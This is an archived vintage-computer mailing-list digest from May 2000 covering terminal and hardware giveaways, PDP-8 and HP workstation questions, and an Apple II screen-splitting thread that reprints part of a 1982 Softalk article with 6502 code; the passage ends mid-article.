<3.0.1.16.20000518185542.34bf9f56@mailhost.intellistar.net> Yesterday I picked up one of my more unusual finds, a Beehive MicroB terminal that looks like it's new in the box. See pictures at "http://www.intellistar.net/~rigdonj/beehive/b4.jpg" through "http://www.intellistar.net/~rigdonj/beehive/b9.jpg". You can see in picture b7 that it was still sealed up in a plastic bag inside the box. Does anyone want this? I don't need it and I don't have room to keep it. I powered it up today and it appears to work. You can see in the last picture that it does have a raster and cursor. I don't have a systemn that uses a terminal so I can't test it beyond that. The screen is normal but the camera frooze the raster in mid sweep so it appears that only half the screen has a display. Again, the screen is ok and it does have a full screen display. Youcan see the cursor in the top LH corner above the highlighted portion of the screen. If anyone is interested in it, contact me directly. It's located in central Florida. The buyer pays shipping and a modest amount for my time. Joe From transit at lerctr.org Thu May 18 17:59:20 2000 From: transit at lerctr.org (Charles P. Hobbs (SoCalTip)) Date: Sun Feb 27 18:51:46 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: Message-ID: On Thu, 18 May 2000, Vintage Computer GAWD! wrote: > > The Apple ][ has an address that you can monitor that tells you when it's > in the vertical blanking interval. People have done some neat stuff by > timing their code around the interval, such as mixing all three graphics > modes (text, lo-res and hi-res) on the same screen. Most of these tricks were described in the following book (if you can get your hands on it, it's long since gone out of print): Lancaster, Don. Enhancing your Apple II /, by Don Lancaster ; [illustrated by T.R. Emrick]. 1st ed. Indianapolis, IN : H.W. Sams, c1982- (message from Vintage Computer GAWD! on Thu, 18 May 2000 13:48:19 -0700 (PDT)) References: Message-ID: <20000518230203.19246.qmail@brouhaha.com> Sellam wrote: > The Apple ][ has an address that you can monitor that tells you when it's > in the vertical blanking interval. Must be something they added for the //e, the ][ and ][+ certainly don't have that. From dlinder at uiuc.edu Thu May 18 19:16:28 2000 From: dlinder at uiuc.edu (Dan Linder) Date: Sun Feb 27 18:51:46 2005 Subject: WTD: HP9000/735 Ethernet Board In-Reply-To: <200005182141.RAA01388@bg-tc-ppp819.monmouth.com> Message-ID: On Thu, 18 May 2000, Bill Pechter wrote: > The 735's I've seen seem to have the network adapter on the motherboard > (I thought). It's apparently a little module that fits onto the system board (not a transceiver, at least not in the traditional sense). I'm not sure, as I haven't seen this myself. I'm just poking around for a friend. He's got one, but it seems to lose ridiculous numbers of packets. He tried a second module (not his to keep) and it worked perfect. Thus, the search for an ethernet module. - Dan Linder / dlinder@uiuc.edu / upside@mcs.net - - Riot sounds start riots. / keep talking... - From ard at p850ug1.demon.co.uk Thu May 18 19:24:49 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:46 2005 Subject: rescued a beehive! In-Reply-To: <3.0.1.16.20000518185542.34bf9f56@mailhost.intellistar.net> from "Joe" at May 18, 0 06:55:42 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1386 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000519/4277028b/attachment.ksh From ard at p850ug1.demon.co.uk Thu May 18 19:33:30 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:46 2005 Subject: WTD: HP9000/735 Ethernet Board In-Reply-To: from "Dan Linder" at May 18, 0 07:16:28 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1465 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000519/a79fcfd6/attachment.ksh From dpeschel at eskimo.com Thu May 18 19:58:36 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:51:46 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <20000518230203.19246.qmail@brouhaha.com> from "Eric Smith" at May 18, 2000 11:02:03 PM Message-ID: <200005190058.RAA22971@eskimo.com> Eric Smith wrote: > Sellam wrote: > > The Apple ][ has an address that you can monitor that tells you when it's > > in the vertical blanking interval. > > Must be something they added for the //e, the ][ and ][+ certainly don't > have that. No they don't, but they do have a way to achieve a similar effect. (Sellam, you might remember that we talked about this when I visted your house last September.) Because of the way the bus is constructed, you can read some address or other and get the current byte that's being sent to the screen. By itself, that won't give you the current screen location, but if you use a series of marker bytes in a certain place (and make sure they ONLY appear in that place), you can get the screen location. You may be able to store the marker bytes in the "holes" in the screen memory map (that don't correspond to any pixels). This trick was described in the magazine _Computist_. There are one or two "Best of Computist" books but they are out of print (I passed up the opportunity to buy one). However, the magazines themselves have now been scanned. Sorry, I don't have the URL. Look for "Vapor-Lock". I think the name was created like this: Your routine locks onto a certain part of the screen, but it uses fake, or vaporous, information about how to do it. The fact that "Vapor-Lock" is also a brand of plastic bag is merely coincidental. :) -- Derek From foo at siconic.com Thu May 18 19:31:07 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:46 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <20000518230203.19246.qmail@brouhaha.com> Message-ID: On 18 May 2000, Eric Smith wrote: > Sellam wrote: > > The Apple ][ has an address that you can monitor that tells you when it's > > in the vertical blanking interval. > > Must be something they added for the //e, the ][ and ][+ certainly don't > have that. Hmmm, I could've swore all the ]['s have it but I can't find the reference to the location in the Apple ][ Reference Manual. And I've forgotten what the address was. I don't think I have the //e Tech Ref handy so I can't check that right away. Hmm. Now I'll have to figure this out or else it'll continue to bother me. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Thu May 18 19:35:59 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:46 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: Message-ID: On Thu, 18 May 2000, Charles P. Hobbs (SoCalTip) wrote: > Apple II's needed a simple hardware hack (a couple of wires or simple > components) in order to make one of the hardware memory addresses > correspond to the state of the vertical blanking interval (it would either > go high or low when vertical blanking was going on). IIe's and IIc's had a > memory location (hex C013?) that does that for you, no hardware hack > required. (Although, $C013 behaved in the opposite manner than Lancaster's > hack did--perhaps $C013 went high when Lancaster's memory location went > low and vice versa, so Lancaster's programs had to be modified a slight > bit in order to work). Ah. Thanks for clarifying that. Well then this brings me back to wondering how those programs that allowed mixed video modes on the Apple ][ worked. They required no hardware mods. Hmmm. > In any event, once you had the vertical blanking information, you could > write machine language programs that would switch between Apple graphic > modes just about anyplace on the screen (within limits). You were more or > less limited to static displays because of the timimg requirements, but > you could still do some interesting stuff. I typed in a few of the > programs, and still have them sitting around on a disk if anyone is > curious... The programs I'm talking about I saw as demos on that Magazine Diskette (Magazette) subscribtion service called SoftDisk (anyone remember that? lots o' cool stuff on that). And they had hi-res animation mixed with lo-res graphics and text-mode text. One day I will have to dig those disks out and dissect the code to figure out how they did it. I don't know why I didn't try to figure it out way back when. There was one hi-res graphics game I was writing where I was going to try to employ this trick and use a text line at the top of the screen to print out the score. I knew it would involve having to keep excrutiating track of each instruction cycle in the code to make the timing work. I never completed this part. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Thu May 18 19:40:32 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:46 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <200005190058.RAA22971@eskimo.com> Message-ID: On Thu, 18 May 2000, Derek Peschel wrote: > No they don't, but they do have a way to achieve a similar effect. (Sellam, > you might remember that we talked about this when I visted your house last > September.) Nope but go on... :) > Because of the way the bus is constructed, you can read some address or > other and get the current byte that's being sent to the screen. By itself, > that won't give you the current screen location, but if you use a series of > marker bytes in a certain place (and make sure they ONLY appear in that > place), you can get the screen location. You may be able to store the > marker bytes in the "holes" in the screen memory map (that don't correspond > to any pixels). HMMMMM! > This trick was described in the magazine _Computist_. There are one or two > "Best of Computist" books but they are out of print (I passed up the > opportunity to buy one). However, the magazines themselves have now been > scanned. Sorry, I don't have the URL. My subscription start at around issue #27 or something. I tried buying an entire run from #1 through like 40 or something from someone advertising them on an apple2 newsgroup but he wanted way too much. That was an awesome magazine! I learned so many cool hacks from it. I also had a few things published in it. I'll have to find the issue with that article and read up on it. Thanks for the reference. > Look for "Vapor-Lock". I think the name was created like this: Your > routine locks onto a certain part of the screen, but it uses fake, or > vaporous, information about how to do it. The fact that "Vapor-Lock" is > also a brand of plastic bag is merely coincidental. :) It's also the name given to a condition your car can get on a hot day (oh no, now all the gear heads are going to chime in with their explanations of this). Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From kyrrin at bluefeathertech.com Thu May 18 21:06:40 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:51:46 2005 Subject: rescued a beehive! In-Reply-To: <3.0.1.16.20000518185542.34bf9f56@mailhost.intellistar.net> Message-ID: <39243F40.26300.A5CA3C1@localhost> > Yesterday I picked up one of my more unusual finds, a Beehive > MicroB > terminal that looks like it's new in the box. See pictures at > "http://www.intellistar.net/~rigdonj/beehive/b4.jpg" through My God... I used to install those things for Western Union! They were used mainly as library database access terminals (for the OCLC system) at various universities. I installed at least four at CSU Hayward, and another half-dozen or so at UC Berkeley. > Does anyone want this? I don't need it and I don't have room to > keep Gad... if I had room myself, I'd send a call tag for it. Unfortunately... Maybe someone else will pipe up. I can tell you from personal experience that those things are almost as much of a tank as the LSI ADM-3A. -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From djg at drs-esg.com Thu May 18 21:16:47 2000 From: djg at drs-esg.com (David Gesswein) Date: Sun Feb 27 18:51:46 2005 Subject: PDP 8/L console Message-ID: <200005190216.WAA27720@drs-esg.com> >From: Lawrence LeMay >My PDP 8/L that I recently acquired, has a cable that i assume is for >the console terminal. It has a 9 pin male connector with only pins >1 through 6 present. Is this a standard serial connection? This was >a papertape based system, so it may have been connected to a teletype >ASR 33. Will I need to locate something that can do 110 baud to use >as a console? > If it is the W076 on the other end of the cable it is a teletype. It normally runs at 110 baud current loop. You can either create an external RS-232 to current loop or make a new W076 to do RS-232. If you want to cheat you can reduce the capacitor on the M452 to increase the baud rate. The serial port is not double buffered so you may have problems with overruns when sending tape images to the 8/L. I think the BIN/RIM loader is fast enough but Focal is not. On the teletype the data was held off by the reader run signal. >Also, I'm very curious about the other cables comming from the 8/L... >I have 6 flat black cables, similar to ribbon cable but thicker, with >9 'wires' on each cable. possibly each 'wire' is something similar >to coax, but i'm not sure... Each pair of these ribbon-like cables >go together into a centronics 36 pin male connector. thus there are >3 centronics connectors, which are labeled: "A D36", "B D35", "C D34". >Any clues as to what this might be for? > Peripherals. This extends the 6xxx instructions to external equipment and allows the external equipment to do 1 and 3 cycle databreaks (DMA). With 6 cables only programmed IO is supported, 10 or 11 are required for databreak. The labels are the location they plugged into the the peripheral. I think most DEC stuff like the DF32's I have on my 8/I use Flip chip connectors on both side so it may of been a third party peripheral. David Gesswein From ckaiser at oa.ptloma.edu Thu May 18 21:40:11 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:51:46 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <200005182211.PAA13479@islay.ssl.berkeley.edu> from "Eric J. Korpela" at "May 18, 0 03:11:06 pm" Message-ID: <200005190240.TAA13806@oa.ptloma.edu> ::> Most other-than-IO functions performed during I/O such as graphics, sound, ::> etcetera on the Atari 8-bits utilized the fact that for 1 60th of a second ::> the screen is not painted. While the 'vertical blank' was occurring you ::> had several cpu cycles available. If you wrote very tight code you could ::> do a lot in those few cycles. On the Atari this was accomplished by GTIA ::> 'display lists' which are programs for the GTIA coprocessor. :: ::Apple interleaved graphics output (and DRAM refresh) with CPU cycles. This ::works because the 6502 only performs memory accesses at very predictable ::times. So there are no vertical (or horizontal) blank intervals in which ::the CPU is not doing something else. I knew I liked the C64's setup better, even if I complain about VIC-II DMA freezing the processor every eighth screen line. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- Klein bottle for immediate occupancy; inquire within. ---------------------- From djg at drs-esg.com Thu May 18 21:39:42 2000 From: djg at drs-esg.com (David Gesswein) Date: Sun Feb 27 18:51:46 2005 Subject: Stardent available Message-ID: <200005190239.WAA27857@drs-esg.com> Ok, its 4 months short of its 10th birthday but close enough. Work has a Stardent 1500/3000 Titan? computer they will be getting rid of. The machine did run when last powered on within the last year and comes with manuals (OS and programming, not much hardware) and backup tapes. It runs Unix. From what I understand it was for its time a "super mini" with good graphics capability. I haven't used it so am not too familiar with it. The machine is in a 4 foot rack and takes up a good portion of it so pickup in Gaithersburg MD is the best option if you want it. Anybody who offers PDP-8 stuff for my collection gets it otherwise probably free to whoever can take it. At this point work is saying they want to free the space but hasn't actually decided to get rid of it, verified it has no resale value etc. If you are interested let me know and I will let you know when work finishes the process. David Gesswein djg@drs-esg.com http://www.pdp8.net/ -- Old computers with blinken lights From transit at lerctr.org Thu May 18 21:41:01 2000 From: transit at lerctr.org (Charles P. Hobbs (SoCalTip)) Date: Sun Feb 27 18:51:47 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: Message-ID: On Thu, 18 May 2000, Vintage Computer GAWD! wrote: > On Thu, 18 May 2000, Charles P. Hobbs (SoCalTip) wrote: > Ah. Thanks for clarifying that. > > Well then this brings me back to wondering how those programs that allowed > mixed video modes on the Apple ][ worked. They required no hardware mods. > Hmmm. I wasn't aware that any such programs existed, especially for the II. Any examples I should be on the lookout for? > > > In any event, once you had the vertical blanking information, you could > > write machine language programs that would switch between Apple graphic > > modes just about anyplace on the screen (within limits). You were more or > > less limited to static displays because of the timimg requirements, but > > you could still do some interesting stuff. I typed in a few of the > > programs, and still have them sitting around on a disk if anyone is > > curious... > > The programs I'm talking about I saw as demos on that Magazine Diskette > (Magazette) subscribtion service called SoftDisk (anyone remember that? > lots o' cool stuff on that). And they had hi-res animation mixed with > lo-res graphics and text-mode text. One day I will have to dig those > disks out and dissect the code to figure out how they did it. I don't > know why I didn't try to figure it out way back when. I have a bunch of Softdisk disks, mostly for the GS though (some will work on earlier machines). I haven't really looked through them all From kyrrin at bluefeathertech.com Thu May 18 21:53:35 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:51:47 2005 Subject: FW: VAXstation 3500 help please In-Reply-To: <39248DF0.D4C6692@mailcity.com> References: <39248DF0.D4C6692@mailcity.com> Message-ID: Forwarded to both CLASSICCMP and port-VAX (NetBSD) mailing lists). Found on Usenet. Got a fellow who's come across a VAXstation 3500 (Mayfair CPU?), and needs help with it. I've already tried answering some of his questions, but if anyone else wants to send him mail please feel free. Thanks! Attachment follows. -=-=- -=-=- On Thu, 18 May 2000 20:42:24 -0400, in comp.unix.questions you wrote: >>Path: news.uswest.net!news-out.uswest.net!newsfeed.cwix.com!feed1.news.rcn.net!rcn!not-for-mail >>From: Iakovlev >>Newsgroups: comp.unix.questions >>Subject: VAXstation 3500 help please >>Date: Thu, 18 May 2000 20:42:24 -0400 >>Lines: 21 >>Message-ID: <39248DF0.D4C6692@mailcity.com> >>Reply-To: iakovlev@mailcity.com >>Mime-Version: 1.0 >>Content-Type: text/plain; charset=us-ascii >>Content-Transfer-Encoding: 7bit >>X-Trace: wTfHF6OMbeKq6zRHTOHpf7j73AT8ReoCax6idfw8g+o= >>X-Complaints-To: abuse@rcn.com >>NNTP-Posting-Date: 19 May 2000 01:47:21 GMT >>X-Accept-Language: en,ru >>X-Mailer: Mozilla 4.7 [en] (Win98; U) >>Xref: news-out.uswest.net comp.unix.questions:17667 >> >>I ve got a VAXstation 3500 with no cables or monitor >> >>I do have transceivers and various monitors, but have no clue >>of how to connects any input/output devices.... >> >>I'm a student and have a purely educational interest in the beast - no >>love affairs or anything like that.... >> >>What's inside of it? >>What size of SCSI HD I can find inside? >>How big is the memory? >>Is there such a thing as video/memory? >> >>It comes with TK70 tape drive - is it still usable? how much data can it >>write to a tape - I even have 2 tapes for it! >> >>I have also 2 VT220 things - can they work with the beast? >> >>thank you so much for any useful info >> >>alex -=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies -- kyrrin (at) bluefeathertech [dot] com Web: http://www.bluefeathertech.com "...No matter how we may wish otherwise, our science can only describe an object, event, or living thing in our own human terms. It cannot possibly define any of them..." From paulrsm at ameritech.net Thu May 18 22:57:35 2000 From: paulrsm at ameritech.net (Paul R. Santa-Maria) Date: Sun Feb 27 18:51:47 2005 Subject: Apple II vapor-lock Message-ID: <20000519035940.WIHI6794.mailhost.kal.ameritech.net@paulrsm> Here is the original article, which predates the Apple IIe. I scanned and OCR'd the article in response to a recent (beginning of March) thread on comp.sys.apple2.programmer. The Apple IIe vertical blanking signal (VBL) is at $C019. If the high bit is clear then vertical blanking is active. I used this signal to write a "lightstick" program for a contest in the June 1986 issue of II Computing. I got a letter back saying my entry was the best, but the prize was a year's subscription and the magazine went bust before announcing the winner. Bill Bell, the Boston designer who created the lightstick, calls the images "saccadoscoptics". Paul R. Santa-Maria Ann Arbor, Michigan USA paulrsm@ameritech.net Have an Apple Split by Bob Bishop Softalk, October 1982 [This is a plain text file but I have used HTML codes to indicate italic and boldface.] Have you ever wanted to create a display with both lo-res graphics and hi-res graphics on the same screen? Or graphics with more than just four lines of text at the bottom? Or how about text with four lines of graphics? As we all know, the Apple II has only five display formats. It can display all lo-res graphics, all hi-res graphics, all text, lo-res with four lines of text at the bottom, or hi-res with four lines of text at the bottom. The latter two formats are sometimes called mixed modes because they allow, in a very restricted way, the mixing of graphics and text. But, according to page 12 of the Apple II Reference Manual, "There is no way to display both graphics modes at the same time." Well, not only are there ways of displaying both graphics modes on the same screen, it is also possible to display any combination of modes! The technique of mixing display modes by the process of screen splitting is familiar to programmers who've used the Apple III, the Atari 400 and 800 machines, and several other computers. These machines contain special hardware that helps detect what is referred to as vertical blanking and horizontal blanking. What is not generally known is that the blanking can be detected by the Apple II, even though it lacks the special hardware found in those other machines. Example Program. Before jumping into a technical discussion of the hows and whys of screen splitting, let's look at an example of screen splitting on the Apple II. Listings 1 and 2 present a short Applesoft main program and a machine language subroutine that the program calls. Take a few moments now to turn on your Apple and enter these two programs. Don't worry if you don't understand machine language. Just go into the Monitor from Basic by typing call-151 followed by the return key. Then start typing in the hexadecimal values for the listing 2 subroutine that starts at $0300: 300:8D 52 C0 A9 E0 A2 and so on followed by the return key. Now run the Applesoft program. What do you see? (Nothing, if you didn't type in the listings correctly.) You should see a text message in the top half of the screen and lo-res color graphics in the bottom half. This is a display mode that's supposed to be impossible to create on a standard Apple II computer! To understand how to do screen splitting on the Apple II, you must be familiar not only with 6502 machine language but also with how the Apple maps its memory onto the display screen. (The latter information can be found on pages 14 through 21 of the Apple II Reference Manual.) The essence of what we need to know about hi-res in particular is shown in figure 1. Each line of the display is forty bytes long from left to right, and there are 192 such lines from top to bottom. The memory mapping seems somewhat haphazard: consecutive memory locations don't map onto consecutive lines of the display. Finally, for each set of 128 bytes of display memory only 120 bytes (three lines' worth) are displayed. The remaining eight bytes of the 128-byte set are never seen and are therefore sometimes referred to as the "undisplayed" or "unused" bytes. These undisplayed bytes all lie, conceptually, just off the bottom right-hand edge of the display, as shown in figure 1. Text and lo-res both map in a way similar to hi-res, except that each cluster of eight lines now comes from one set of forty bytes instead of eight sets, and instead of the screen buffer being located at $2000 through $3FFF it lies at $0400 through $07FF. (Compare the Apple II Reference Manual pages 16 and 18 with page 21.) Some Preliminary Insights. Let's try a few experiments that might give us some clues as to how screen splitting can be accomplished. >From Basic type the command call -151 (followed by return) to get into the Monitor. Next, clear the screen by issuing the escape--shift-P sequence. Now type C051 followed by return. (Hitting return will always be assumed from now on.) The computer will probably display: C051- A0 (If it doesn't, try typing C051 again.) Typing C051 from the Monitor is the way to turn on text mode if the computer is displaying graphics. But since we're already in text mode, nothing much happens--nothing much except that the contents of $C051 are displayed. But $C051 isn't supposed to be a readable address; it's merely a screen switch. So what does it mean for $C051 to contain $A0? Is it just a coincidence that $A0 is the hex code for an ASCII blank, and that most of the screen is also blank? What would happen if we typed C054? Or C056? Again, we tend to get $A0 if the screen is mostly blank. Let's try another experiment. Again from the Monitor, type: 2000:73 2001<2000.3FFEM followed by. C050 C053 C057 You should see some vertical hi-res lines with space for four lines of text at the bottom of the screen. Now type C050, or C053, or C054, or C057. Most of the time we now see $73 in the screen switch locations, and once in a while we see $A0. (Remember that the bottom four text lines on the screen are mostly blank.) The results of the previous experiments suggest that by examining the screen switches we can somehow read the contents of at least part of the screen currently being displayed. But, to determine the time-history of what is being read, we must first find a way to "tag" the screen data and then sample the soft switches very quickly. Doing this would provide us with a cycle-by-cycle map of how the Apple's video is generated. In other words, we could determine which locations in memory the information in the screen switches is coming from during each clock cycle of the processor. Such a cycle-by-cycle map would be extremely useful in the implementation and understanding of screen splitting on the Apple II. Tagging and Sampling a Hi-Res Screen. Now let's create a special hi-res display. We'll put zeros in the forty bytes of the hi-res memory buffer that correspond to line 0 and ones in all the bytes corresponding to line 1. Line 2 will contain all twos, and so on. In other words, line n will contain all n's, for n = 0 to 191 ($00 to $BF). But we still haven't tagged the undisplayed bytes in the bottom right-hand corner (screen lines 128 through 191). Let's fill these sixty-four sets of eight-byte "invisible" lines with the values $C0 through $FF. Then every byte in the primary hi-res display buffer ($2000 through $3FFF), whether displayed or not, will contain a known quantity from $00 to $FF. Listing 3 is a program for creating such a hi-res display of tagged screen data. Two versions are given; one in Integer Basic and one in Applesoft. Use Integer if you have it. It's faster. Next we need to devise a way of quickly and uniformly sampling a screen switch over and over and saving each sample for later study. One way of doing this might be with a program like the following. LDX #$00 LOOP LDA $C050 STA $1000,X INX BNE LOOP This program is very short and straightforward, but it suffers from two major flaws: first, it does not provide the fastest possible sampling (because of the time required for index register operations). Second, it allows only 256 data points to be sampled and stored. If we try to remedy the second flaw by changing the method of storage to STA (indirect),Y we not only aggravate the first flaw but introduce delays into the loop that cause us to generate unevenly spaced samples after every two hundred fifty-sixth fetch. The best approach is to create a sampling program of the form: LDA $C050 STA $1000 LDA $C050 STA $1001 LDA $C050 STA $1002 and so on. There's no loop involved; an individual set of LDA and STA commands is used for each check. Such a program is quite long (six bytes per sample) but executes very quickly (one sample per eight machine cycles) and yields uniformly spaced data. The programs in listing 4 generate the machine language program just described. Again, use the Integer version if you have that language. We're now ready for business. Having run the programs shown in listings 3 and 4, we have the tagged hi-res data starting at $2000 and the sampling program starting at $4000. We run the sampler by entering the Monitor and giving the command 4000G. After a brief flash of the screen the program terminates, leaving its collection of screen samples starting at $1000 in the Integer version or $8000 in the Applesoft version. Figure 2 is a partial listing of the key results of the sampling program. The entire listing of all the samples is much longer. Interested readers are encouraged to generate their own complete set of data using the programs described above. Before we can begin interpreting these results, we must discuss some fundamental concepts about television video and the Apple. Television Images. A standard television picture consists of 525 interlaced scan lines that start in the upper left-hand corner of the screen and end in the bottom-right. "Interlaced" means that the image on the screen is created by first scanning all the even lines of the picture and then going back and filling in all the odd lines. In each scan line, the electron beam starts at the left side of the display and travels across the screen to the right, displaying one line of the image as it moves. When the beam finishes at the right end of each scan line, it shuts off for a few microseconds while it repositions itself at the beginning of the next line to be scanned. This shut-off period is referred to as horizontal blanking (HBL). When the beam reaches the bottom of the screen and finishes scanning the last line, it again shuts off, this time for a few milliseconds while it repositions itself at the top of the display for the next frame of the image. This second turn-off period is referred to as vertical blanking (VBL). The total time required to complete one interlaced frame (including VBLs) is one-thirtieth of a second. When the Apple computer was first being designed, it was discovered that a computer-generated interlaced video signal produced a display that had an objectionable flicker. So interlacing was not used, even though this meant that half of the potential vertical resolution would be lost. This lost spatial resolution allowed Apple to achieve increased temoral resolution; instead of generating only thirty video frames per second, the Apple generates sixty, because the Apple uses the interlace to display a new 192-line frame. A second design consideration in the Apple II was the decision not to overscan the screen. "Overscanning" means that the image extends slightly beyond the four edges of the screen so that the picture fills the entire viewing area. Instead, so that information in the corners won't be lost, the Apple leaves a small dark border of unused screen in all of its display modes. This further reduces the number of visible scan lines in each frame, so that only 192 lines remain in the display. The Apple transfers its video data to the screen at a rate of one byte per machine cycle. Each scan line requires a total of sixty-five cycles from HBL to HBL. Since the Apple produces a forty-column display (forty byes per line), we can deduce that twenty-five cycles of each scan line are spent in a turned-off state and forty cycles are spent turned on. But even when the video is turned off, the screen switches can still be sampled. What will they contain? Interpreting the Sampled Results. Let's return to figure 2 to see what we can learn from our sampled data. Locations $119B through $119F all contain zeros. Our sampling program required eight cycles per sample. Consequently, the five samples represent forty machine cycles--exactly the duration of the visible part of one scan line. Since the top line of our display was the only line containing all zeros. we infer that the data stored at $119B represents the beginning of a video frame. After three strange bytes ($11A0-$11A2) we see five ones in a row. These apparently represent the next scan line down, followed by three more strange bytes, and so on. Well, if we've identified the data that isn't strange as representing the visible portions of the scan lines, then it follows that the strange bytes must be coming during HBL, and that HBL maps from $81 lines ahead of the line just scanned. The fact that HBL seems to come from such a far-away place is confusing enough in itself, but why an odd number like $81 instead of a nice power of two or something (like $80)? Something about these results doesn't feel right; they just don't seem to make any sense. Well, our decision to attribute HBL to the end of a scan line was simply one of convention. Since HBL occurs between scan lines, we could just as easily have attributed it to the beginning of a scan line. Then our interpretation of the data in figure 2 would be that a scan line consists of its visible forty-cycle component preceded by its invisible twenty-five-cycle HBL component, which is mapped from $40 display lines earlier. This model assumes a circular screen; that is, if counting up $40 lines would take you off the top of the screen, continue counting up from the bottom. If we interpret the data in this fashion, it soon becomes evident that: a complete sixty-five-cycle scan line consists of sixty-five consecutive bytes of display buffer memory that starts twenty-five bytes prior to the actual data to be displayed. (See figure 3.) We can even see the undisplayed bytes of the screen buffer (where we stored the values $C0 through $FF, remember?) in locations $119A, $11A2, and so on; they're right where we'd expect them to be. If we now look at locations $17AB through $17AF in figure 2 we see that they all contain $BF, which represents the bottom line of the display. Thus $17B0 must be the start of VBL. During VBL the data acts just as if it were starting a whole new frame from the beginning, but it never finishes this pseudo-frame. After getting one third of the way through the frame (to scan line $3F), it suddenly repeats the previous six scan lines ($3A through $3F) before aborting to begin the next true frame. Examine locations $1970 through $19FF in figure 2. If we had done our tagging and sampling exercise using a lo-res or text screen instead, the results would have been similar. The only difference would have been that each row of sixty-five bytes in the display would be repeated eight times, since both text and lo-res "characters" are eight scan lines tall. Example Program Revisited. Now that we have a better feeling for what's going on, let's go back and try to understand how the screen splitting example in listing 1 worked. The for-next loop in lines 200 through 250 does three things: 1. Line 210 pokes the value $E0 into the middle line of text/low-res display. 2. Line 220 pokes the value $A0 into the bottom line of the display. 3. Lines 230 and 240 create a simple lo-res pattern of colored vertical lines. After printing a text message (lines 300 through 310) in the top part of the screen, the program calls (in line 400) the machine language screen splitting subroutine located at $0300. Line 500 then keeps re-calling the subroutine so that screen splitting will continue. Screen splitting is a dynamic process; it requires a program to keep it working. If the program stops, screen splitting stops. Try hitting control-C and see what happens. Now let's examine the machine language subroutine. Ironically, one of the first things we have to do to produce a mixed mode display is to turn off the mixed mode screen switch, $C052. Since we'll be doing our own mixing we don't want the Apple to confuse things by putting in its own mode switching. The rest of the routine consists of two virtually identical polling loops. The first loop ($0305 through $030E) sets text mode by referencing screen switch $C051 and, at the same time, waits for four consecutive $E0s to be scanned. Where do these $E0s come from? From the middle of the display screen where they were poked by line 210 of the Applesoft program! When the $E0s are detected, the subroutine enters the second pollng loop ($0311 through $031A). This loop sets lo-res graphics mode by referencing screen switch $C050 and then waits for four consecutive $A0s (from the bottom line of the display) to be scanned. Once the $A0s have been detected, the mode is set back to text (at location $031B) and the subroutine returns to the main program. There are a few subtleties here that should be pointed out. Why, for example, do we require four consecutive occurrences of $A0 and $E0 instead of just one? The reason for this can be inferred from figure 3. We see that every displayed line also has apart of itself mapped into some other display line's twenty-five-cycle "invisible" HBL component. This complicates the problem of detecting where the beam is currently scanning on the display. How do we know whether the data being sampled is coming from a visible scan or from an invisible HBL? Well, a visible scan consists of forty cycles of data, while the invisible HBL can only be twenty-five cycles at most. So, by requiring several consecutive samples whose fetching times total more than twenty-five cycles duration, we will eliminate false triggerings from HBL. Be careful not to exceed forty cycles or you'll miss the visible data too. The process of mode changing sometimes tends to produce small unsightly glitches on the display screen. To test this out, change the contents of location $0305 in our example program in listing 2 to be either a $03 or a $02 and see if it makes any difference in the display. You can see how it's a good idea to try to change modes during HBL (or VBL) rather than in the middle of a visible scan line. Another subtlety in the example program lies in our choice of $A0 and $E0 as tag bytes. While any values could have been used as tags, the values $A0 and $E0 are especially useful because they both appear as blanks on a text screen. On a lo-res graphics screen they appear (in our example) as a row of black (or blank) over a row of color. Thus these values provide a convenient way of switching cleanly between text and graphics modes. In Conclusion. From our examination of the example program, we see that screen splitting consists of essentially two steps. First, the screen must be preformatted with "tagged" lines at the points where screen splitting is to occur (that is, the $A0 and $E0 lines in our example). Second, a machine language subroutine must be written that detects these tagged lines and then quickly switches display modes. But the process is far from being trivial, and it requires a certain amount of creativity and ingenuity to design screens that can be split cleanly and effectively. What are some applications of screen splitting? Well, it can provide for a little more variety and flexibility in display modes above and beyond the basic five that everyone knows about. To this end I have used screen splitting to create the opening displays for several commercially available games (Maxwell's Demon/Bishop's Square, from Datasoft, Inc.; Money Munchers, from DataMost). In addition to splitting a screen, we can superimpose screens. For example, if we print some words on the primary text screen and plot some lo-res colors in the corresponding locations of the secondary lo-res screen, then by screen switching, we could produce text on top of a colored background (if we don't mind a little bit of flicker). Similarly, by combining the two 